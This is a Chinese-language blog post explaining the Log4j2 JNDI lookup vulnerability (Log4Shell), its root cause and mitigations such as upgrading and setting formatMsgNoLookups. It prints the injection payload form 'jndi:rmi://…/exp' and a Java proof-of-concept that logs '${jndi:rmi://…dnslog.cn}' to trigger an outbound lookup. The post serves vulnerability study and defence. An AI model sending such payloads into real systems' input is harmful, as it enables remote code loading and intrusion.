前言

这暂时是关于java安全的最后一篇文章了,后面会去专注别的事情,也算对安全的学习告一段落了吧

log4j介绍

Apache Log4j 是一个基于Java的日志记录工具。它是由Ceki Gülcü首创的,现在已经发展为Apache软件基金会的项目之一。

经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2

漏洞原理

本次漏洞是因为Log4j2组件lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。先看一张图吧

意思就是只要日志中包含 ${},lookup 功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2 将基本的解析都做了实现,来看个例子

先添加maven依赖

<dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-core</artifactId>
   <version>2.14.1</version>
</dependency>
<dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-api</artifactId>
   <version>2.14.1</version>
</dependency>

先调用LogManager.getLogger()方法来获取Logger对象,接着用他的error方法打印系统信息,可以看到${}里面的内容被解析了

贴上一张Hackt0师傅总结的可以解析的相关内容

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

到这里后怎么触发更有用的漏洞呢?其实阅读log4j2的文档可以看到,他提供的lookup功能支持JNDI方式查询。并且在log4j2JNDI解析是未做限制的,可以直接访问到远程对象。

那么只要日志记录的一部分是用户可控的,就可以构造恶意字符串使服务器记录日志时调用 JNDI 访问恶意对象。也就是payload流传的形式

jndi:rmi://xxx.xxx.xxx.xxx:1111/exp

漏洞复现

这里以DNSLOG生成的临时域名测试一下:http://www.dnslog.cn

模拟一个用户登陆的客户端,没有对用户的输入进行限制

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String user="${jndi:rmi://3z1rsa.dnslog.cn}";
        logger.error(user + " has successfully logged in");

    }
}

可以看到记录日志时发起了 JNDI 解析,访问了 DNS 提供的域名并生成记录

其实 JNDI 通过 SPI(Service Provider Interface)封装了多个协议,包括 LDAP、RMI、DNS、NIS、NDS、RMI、CORBA

搭建一个RMI服务器来看一下更真实的攻击过程

先搭建个RMI服务器,搭建后把恶意文件放在另一个端口里面起个服务,然后访问后

总结

本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,一步步调试后发现最后也是调用了InitialContext#lookup方法,所以本质是也是JNDI的漏洞,具体的分析可以看看别的师傅的文章:

http://tttang.com/archive/1378/
http://blog.o3ev.cn/yy/1294#menu_index_5

防御

关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。

版本升级

  • 升级jdk版本

对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载,但是依然可以靠本地classpath中的 ObjectFactory 实现类去进行攻击。

  • 升级log4j版本

log4j2.15.0版本中默认关闭 lookup 功能。

禁用log4j的lookup功能

控制日志格式对于 >=2.7的版本,在 log4j 配置文件中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。

直接关闭 Lookup 功能

在配置文件 log4j2.component.properties中增加:log4j2.formatMsgNoLookups=true

也可以通过设置JVM系统属性,jvm 启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者. 在 log4j 被初始化之前设置该系统属性。:System.setProperty("log4j2.formatMsgNoLookups", "true");